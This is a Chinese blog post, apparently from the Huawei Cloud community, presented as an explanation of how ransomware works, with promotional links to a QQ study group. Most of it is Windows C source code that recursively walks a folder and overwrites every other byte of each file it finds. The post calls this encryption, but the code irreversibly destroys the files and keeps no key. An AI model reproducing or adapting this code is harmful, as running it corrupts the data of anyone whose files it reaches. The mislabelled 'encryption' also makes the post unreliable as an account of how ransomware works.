勒索病毒原理解析
【摘要】 一、编程思路什么是勒索病毒:遍历你电脑上所有文件,并且用加密算法加密, 然后把加密秘钥发送到自己邮箱里,弹出窗口。工具:操作系统API,加密算法思路:1.程序设计 思路规划清楚1.1 加密单个文件1.2 遍历文件系统并加密文件2.工程实现: 编程3.测试上线 :、测试欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包二、代码解析//...
一、编程思路
什么是勒索病毒:
遍历你电脑上所有文件,并且用加密算法加密, 然后把加密秘钥发送到自己邮箱里,弹出窗口。
工具:操作系统API,加密算法
思路:
1.程序设计 思路规划清楚
1.1 加密单个文件
1.2 遍历文件系统并加密文件
2.工程实现: 编程
3.测试上线 :、测试
欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包
二、代码解析
// 文件遍历加密.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <string.h>
#include <windows.h>
//加密fileName这个文件
void jiami(char* fileName);
//遍历文件夹并找到每一个文件
void findFile(char* pathName);
int _tmain(int argc, _TCHAR* argv[])
{
// jiami("1.txt");
char buff[256] = { 0 };//2^8 char 8bit
GetCurrentDirectory(256, buff);
// printf("文件夹名字是:%s\n", buff);
findFile(buff);
while (1);//死循环 停顿
return 0;
}
//遍历文件夹并找到每一个文件
void findFile(char* pathName){//不要在C盘运行这个程序
//1 设置要找的文件名
char findFileName[256];
memset(findFileName, 0, 256);//清空数组
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);
//2 找这个要找的文件
WIN32_FIND_DATA findData;
HANDLE hFile = FindFirstFile(findFileName, &findData);
if (INVALID_HANDLE_VALUE == hFile){
printf("找文件失败!\n");
return;
}
int ret = 1;
char temp[256];
while (ret){
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY
){
if (findData.cFileName[0] != '.'){
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件夹:%s\n", temp);
// Sleep(1000);
findFile(temp);
}
}
else{
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件:%s\n", temp);
//加密这个文件
jiami(temp);
}
ret = FindNextFile(hFile, &findData);
}
}
//加密fileName这个文件
void jiami(char* fileName){
//1 打开文件
FILE* fp = NULL;//文件指针代表一个文件
// 文件名 打开方式 r r+ w w+ a a+
fp = fopen(fileName, "r+");//要能读能写并且不能覆盖
if (NULL == fp){
printf("打开文件失败!\n");
return;
}
printf("打开%s文件成功!\n",fileName);
//2 拿到文件大小
//2.1 设置光标(文件内容指针)到文件末尾
fseek(fp, 0, SEEK_END);
//2.2 计算光标位置距离文件头有多少字节
int size = ftell(fp);
//2.3 设置光标位置到文件头
fseek(fp, 0, SEEK_SET);
printf("文件大小为:%d字节!\n", size);
//3 每隔一个字节插入一个字节
char code = 'a';
for (int i = 0; i < size; i++){
//写入1字节
fwrite(&code, 1, 1, fp);
//把光标往后挪1字节
fseek(fp, 1, SEEK_CUR);
}
//4 保存关闭
fclose(fp);
}
欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包
【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)